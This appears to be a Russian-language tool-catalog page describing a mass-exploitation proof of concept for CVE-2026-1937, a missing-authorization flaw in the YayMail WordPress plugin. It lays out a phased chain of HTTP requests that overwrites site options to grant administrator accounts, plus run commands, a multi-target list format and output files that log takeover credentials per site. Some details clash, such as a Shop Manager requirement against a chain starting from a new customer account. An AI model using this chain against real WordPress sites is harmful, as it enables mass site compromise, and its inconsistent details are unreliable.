Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-1937 — YayMail <= 4.3.2 - Отсутствие проверки авторизации: аутентифицированные пользователи (Shop Manager+) могут произвольно обновлять параметры через AJAX-действие 'yaymail_import_state' | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-1937
Аутентификация и авторизацияПовышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubnxploited/cve-2026-1937

CVE-2026-1937

YayMail <= 4.3.2 - Отсутствие проверки авторизации: аутентифицированные пользователи (Shop Manager+) могут произвольно обновлять параметры через AJAX-действие 'yaymail_import_state'

Репозиторий
256 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Анимация набора текста SVG


🔴 Обзор уязвимости

CVE-2026-1937 — Отсутствие авторизации → Произвольное обновление опций → Повышение привилегий

ПолеОписание
CVE IDCVE-2026-1937
Степень опасностиВЫСОКАЯ — оценка CVSS v3.1: 7.2
ВекторCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ИсследовательDaniel Basta (whizzu) — NASK PIB
Дата публикации17 февраля 2026 г.
Последнее обновление27 марта 2026 г.
Затронутое ПОYayMail – WooCommerce Email Customizer Plugin for WordPress
Затронутые версииВсе версии вплоть до 4.3.2 включительно
Тип уязвимостиОтсутствие авторизации → Несанкционированное произвольное обновление опций → Повышение привилегий
Требуется аутентификацияДа — уровень Shop Manager и выше
CWECWE-862: отсутствие авторизации

Описание:
Плагин YayMail – WooCommerce Email Customizer для WordPress уязвим к несанкционированной модификации данных, ведущей к повышению привилегий, во всех версиях вплоть до 4.3.2 включительно. AJAX-действие yaymail_import_state зарегистрировано без какой-либо проверки прав на стороне сервера, что позволяет аутентифицированным злоумышленникам с доступом уровня Shop Manager и выше вызывать его без ограничений. Загружая специально сформированный ZIP-файл импорта, злоумышленник может незаметно перезаписать произвольные опции сайта WordPress — включая установку роли новых пользователей по умолчанию в значение administrator и включение открытой публичной регистрации. После внедрения этих опций любой посетитель сможет самостоятельно зарегистрироваться на сайте и получить полноценную учётную запись администратора WordPress, что приведёт к полной компрометации сайта.


🛠️ Описание инструмента

Это цепочка массовой эксплуатации Proof-of-Concept (PoC), нацеленная на установки WordPress + WooCommerce, работающие с уязвимой версией плагина YayMail. Инструмент реализует полную сквозную атаку: регистрация в WooCommerce → вход в систему → извлечение nonce YayMail → эксплуатация yaymail_import_state → проверка прав администратора.

🔗 Полная цепочка атаки

[Phase 1 — Registration]
  GET  /my-account/  →  Extract WooCommerce register nonce
  POST /my-account/  →  Register new account (WooCommerce form)
  → Save credentials to reg.txt

          ↓

[Phase 2 — Login]
  POST /wp-login.php         →  Try WordPress native login
  POST /my-account/ (WooC.)  →  Fallback WooCommerce login
  → Establish authenticated session

          ↓

[Phase 3 — Admin Pre-check]
  GET /wp-admin/  →  If already admin, skip to result

          ↓

[Phase 4 — YayMail Exploit]
  GET /wp-admin/admin.php?page=yaymail-settings
  → Extract: ajax_url + nonce

  POST /wp-admin/admin-ajax.php
  action=yaymail_import_state
  nonce=<extracted_nonce>
  import_file=yaymail_backup.zip
  → Override WordPress options:
    · default_role = administrator
    · users_can_register = 1

          ↓

[Phase 5 — Admin Verification]
  GET /wp-admin/        → Check adminmenu / wp-admin-bar
  GET /wp-admin/users.php   → Confirm manage_options access

          ↓

[Save to Nx_admin.txt]
  Format: [timestamp] https://target.com user:<u> pass:<p>

📋 Требования

Системные требования

  • Python 3.8 или выше
  • Linux / Windows / macOS
  • yaymail_backup.zip — специально сформированный payload для импорта (обязательно)

Python-зависимости

pip install requests urllib3 rich

Или через файл requirements:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Установка

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937

# Install dependencies
pip install -r requirements.txt

# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .

# Run the tool
python3 CVE-2026-1937.py

⚙️ Использование

Базовый запуск

python3 CVE-2026-1937.py

Инструмент использует полностью интерактивный терминальный интерфейс на базе Rich.


🗂️ Формат списка целей

Создайте обычный текстовый файл (по умолчанию: list.txt) — по одной цели в строке:

https://target1.com
https://target2.com
http://target3.com
target4.com

Цели без http:// или https:// автоматически получают префикс https://.


🖥️ Интерактивные запросы

Username   [Nx_admin]:          Nx_admin
Password   [Nx_adminSA]:        Nx_adminSA
Email      [[email protected]]: [email protected]
Targets file [list.txt]:        list.txt
Threads [3]:                    5
HTTP timeout (seconds) [10]:    10

📦 Payload-файл — yaymail_backup.zip

Для эксплуатации требуется специально сформированный ZIP-файл импорта YayMail, который при импорте переопределяет следующие опции WordPress:

Опция WordPressВнедряемое значение
default_roleadministrator
users_can_register1

⚠️ Инструмент откажется запускаться, если yaymail_backup.zip отсутствует в рабочем каталоге.


🔬 Уязвимый AJAX-эндпоинт

POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip  (multipart upload)

Корневая причина:
Обработчик yaymail_import_state не вызывает current_user_can() или любую аналогичную проверку прав перед обработкой импорта. Любой пользователь с ролью shop_manager (или выше) может свободно вызывать это действие и перезаписывать произвольные записи таблицы wp_options через механизм ZIP-импорта.


🔍 Проверяемые страницы WooCommerce

Инструмент автоматически проверяет следующие пути на наличие форм регистрации и входа:

/my-account/       /my_account/      /My-account/
/account/          /myaccount/       /customer-login/
/login/            /register/        /sss/

📁 Выходные файлы

ФайлОписание
reg.txtВсе успешные регистрации WooCommerce с учётными данными
Nx_admin.txtВсе подтверждённые повышения привилегий до администратора

✅ Формат вывода

reg.txt:

[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA

Nx_admin.txt:

[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import

🖥️ Пример вывода в терминале

╔══════════════════════════════════════════════════════════════════╗
║  WooCommerce · YayMail · Mass Exploit Chain                      ║
║  By: Nxploited  |  GitHub: github.com/Nxploited  |  @Kxploit    ║
╚══════════════════════════════════════════════════════════════════╝
Скачать инструмент